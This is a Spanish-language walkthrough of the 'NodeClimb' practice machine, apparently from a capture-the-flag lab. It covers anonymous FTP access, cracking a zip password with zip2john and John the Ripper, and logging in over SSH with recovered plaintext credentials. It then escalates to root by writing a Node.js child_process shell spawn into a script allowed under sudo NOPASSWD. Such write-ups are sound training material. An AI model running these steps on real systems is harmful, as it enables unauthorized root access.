MAQUINA NODECLIMB (FTP anonymous - zip2john - PrivEsc 'binario NODE')

Enumere de puertos, servicios y versiones.

nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:52 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)
nmap -p22,21 -sCV 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:54 -03
Nmap scan report for realgob.dl (172.17.0.2)
Host is up (0.00010s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             242 Jul 05  2024 secretitopicaron.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_  256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

El servicio FTP tiene acceso como anonymous, a su ves posee un archivo .zip interesante.

ftp <ip>
login: anonymous
password: anonymous o enter

Con "get" descargo el archivo ZIP, luego para descomprimirlo con "7z" (comando: 7z x archivo.zip) este me solicita un password el cual no se cual es.

Para estos casos use la herramienta zip2john para obtener el hash de la contraseña y luego con john the ripper romper dicho hash.

zip2john archivo.zip > hash

Mediante john obtuve la contraseña, luego descomprimí el archivo ZIP y me devolvió un archivo llamado password.txt donde almacena unas credenciales

mario:laKontraseñAmasmalotaHdelbarrioH

Como tengo el puerto 22 open, con estas credenciales ingrese a la maquina.

Una ves logueado revise información del sistema, y en la carpeta /home/mario al listar su contenido vi que tengo acceso al .bash_history donde dentro contiene algunos comandos ya utilizados.

Se esta ejecutando un sudo -l y a su vez se ejecuta el siguiente comando usando "NODE".

sudo -l
/usr/bin/node
sudo /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Qué hace exactamente?

  • sudo: lo ejecutas con privilegios.

  • /usr/bin/node: usas Node.js.

  • -e '...': ejecutas una línea de código inline.

  • require("child_process").spawn(...): crea un nuevo proceso (en este caso, /bin/sh) con entrada/salida conectadas al terminal.

Que es /usr/bin/node?

El binario /usr/bin/node ==es el ejecutable principal del entorno de ejecución Node.js==. Es el archivo que se utiliza para ejecutar código JavaScript en el servidor, permitiendo a los desarrolladores construir aplicaciones web, herramientas de línea de comandos, y más, utilizando JavaScript fuera del navegador. En esencia, es la herramienta que traduce y ejecuta el código JavaScript en un entorno no-navegador

Use el comando sudo -l y me devolvió lo siguiente:

(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js

Significa que el usuario mario puede ejecutar ese script específico (/home/mario/script.js) utilizando sudo, sin que se le pida la contraseña, y puede hacerlo como cualquier usuario (generalmente root), porque:

(ALL) → Aplica a todos los usuarios del sistema como objetivo (root incluido).

NOPASSWD: → No necesita ingresar su contraseña al ejecutar ese comando vía sudo.

/usr/bin/node /home/mario/script.js → Específicamente permite ejecutar solo ese comando exacto con sudo.

Como Mario tengo permisos de escritura en el archivo script.js, para explotar esto lo que hice fue tomar el comando que se encuentra en el Historial, agregarlo al script.js y por ultimo ejecutarlo como root.

mario@679b03864eab:~$ echo 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});' > /home/mario/script.js

mario@679b03864eab:~$ cat script.js 
require("child_process").spawn("/bin/bash", {stdio: "inherit"});

mario@679b03864eab:~$ sudo -u root /usr/bin/node /home/mario/script.js

root@679b03864eab:/home/mario# whoami
root

Last updated